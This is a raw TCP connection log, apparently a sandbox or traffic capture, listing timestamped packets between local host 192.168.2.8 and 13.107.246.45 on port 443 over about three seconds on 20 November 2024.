Nov 20, 2024 03:21:56.057013988 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.057013988 CET	49949	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.057032108 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.057040930 CET	443	49949	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.058684111 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.058723927 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.058782101 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.058878899 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.058891058 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.361546040 CET	49950	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.361574888 CET	443	49950	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.532412052 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.532988071 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.533020973 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.533503056 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.533510923 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.630944967 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.631578922 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.631762028 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.631762028 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.631762028 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.634201050 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.634241104 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.634310007 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.634428978 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.634434938 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.645595074 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.645967007 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.645989895 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.646348953 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.646354914 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.654032946 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.654352903 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.654390097 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.654632092 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.654637098 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.688788891 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.689202070 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.689214945 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.689570904 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.689574003 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.698040009 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.698278904 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.698287964 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.698544979 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.698548079 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.750583887 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.751167059 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.751286030 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.751298904 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.751662970 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.751684904 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.751698971 CET	49952	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.751704931 CET	443	49952	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.754256964 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.754703045 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.754803896 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.759485960 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.759485960 CET	49953	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.759505987 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.759516001 CET	443	49953	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.761238098 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.761279106 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.761352062 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.761575937 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.761590958 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.762229919 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.762265921 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.762373924 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.762439013 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.762447119 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.800137043 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.800324917 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.800497055 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.803761005 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.803770065 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.803826094 CET	49955	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.803832054 CET	443	49955	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.806226969 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.806245089 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.806479931 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.806479931 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.806515932 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.900600910 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.900657892 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.900739908 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.900751114 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.900765896 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.900898933 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.900912046 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.900924921 CET	49954	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.900928974 CET	443	49954	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.903074026 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.903126001 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.903248072 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.903417110 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.903435946 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:56.939600945 CET	49951	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:56.939635992 CET	443	49951	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.308445930 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.310111046 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.310122013 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.310545921 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.310549974 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.403748035 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.405957937 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.405980110 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.406430006 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.406436920 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.407715082 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.413516998 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.413609028 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.413661957 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.413719893 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.415889025 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.415899992 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.416418076 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.416423082 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.416632891 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.416632891 CET	49956	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.416646957 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.416655064 CET	443	49956	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.419626951 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.419661999 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.419756889 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.419858932 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.419872999 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.447699070 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.449172020 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.449203968 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.449626923 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.449635029 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.507167101 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.507467985 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.507594109 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.507819891 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.507837057 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.507865906 CET	49957	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.507873058 CET	443	49957	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.510206938 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.510261059 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.510333061 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.510452032 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.510473013 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.511712074 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.511945009 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.511991024 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.512001038 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.512052059 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.512079000 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.512096882 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.512106895 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.512106895 CET	49958	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.512113094 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.512120962 CET	443	49958	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.514008045 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.514045000 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.514111042 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.514226913 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.514239073 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.547689915 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.547796011 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.547873020 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.548460960 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.548472881 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.548576117 CET	49959	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.548582077 CET	443	49959	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.551199913 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.551250935 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.551323891 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.551440001 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.551459074 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.561820984 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.562248945 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.562278986 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.562681913 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.562686920 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.662146091 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.662307978 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.662384033 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.662417889 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.662446022 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.662503958 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.662548065 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.662570000 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.662581921 CET	49960	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.662587881 CET	443	49960	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.665005922 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.665069103 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:57.665128946 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.665246010 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:57.665257931 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.054064989 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.054591894 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.054613113 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.055044889 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.055049896 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.149972916 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.150402069 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.150428057 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.150806904 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.150811911 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.158915043 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.159277916 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.159337044 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.159430027 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.159430027 CET	49961	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.159446001 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.159455061 CET	443	49961	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.162950039 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.163005114 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.163074970 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.163196087 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.163213968 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.195094109 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.195471048 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.195512056 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.195838928 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.195846081 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.211738110 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.212110043 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.212137938 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.212486029 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.212495089 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.254307985 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.254579067 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.254650116 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.254677057 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.254690886 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.254699945 CET	49963	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.254704952 CET	443	49963	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.257028103 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.257071018 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.257147074 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.257286072 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.257298946 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.303719044 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.303940058 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.304016113 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.304069042 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.304089069 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.304104090 CET	49962	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.304111004 CET	443	49962	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.306286097 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.306313038 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.306375027 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.306499958 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.306512117 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314420938 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314527988 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314572096 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.314575911 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314629078 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.314649105 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314685106 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.314699888 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314713001 CET	49964	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.314727068 CET	443	49964	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.314982891 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.315016031 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.315496922 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.315502882 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.316668034 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.316703081 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.316768885 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.316871881 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.316890001 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.417435884 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.417785883 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.417854071 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.417896986 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.417896986 CET	49965	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.417915106 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.417924881 CET	443	49965	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.419585943 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.419626951 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.419701099 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.419816017 CET	49970	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.419831038 CET	443	49970	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.824496984 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.825110912 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.825144053 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.825361013 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.825367928 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.920300961 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.920712948 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.920749903 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.921156883 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.921168089 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.930679083 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.931087971 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.931126118 CET	443	49966	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.931145906 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.931329966 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.931329966 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.931329966 CET	49966	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.933604956 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.933649063 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.933705091 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.933821917 CET	49972	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.933835983 CET	443	49972	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.947120905 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.947463989 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.947475910 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.947890043 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.947895050 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.950114965 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.950352907 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.950386047 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:58.950671911 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:58.950680017 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.025099993 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.025305033 CET	443	49967	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.025480986 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.025480986 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.025480986 CET	49967	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.027363062 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.027405024 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.027470112 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.027581930 CET	49973	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.027601004 CET	443	49973	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.045717001 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.045897961 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.046053886 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.046113014 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.046113014 CET	49968	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.046127081 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.046134949 CET	443	49968	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.048219919 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.048258066 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.048322916 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.048469067 CET	49974	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.048482895 CET	443	49974	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.050215960 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.050466061 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.050528049 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.050554991 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.050554991 CET	49969	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:59.050570011 CET	443	49969	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:59.050580978 CET	443	49969	13.107.246.45	192.168.2.8
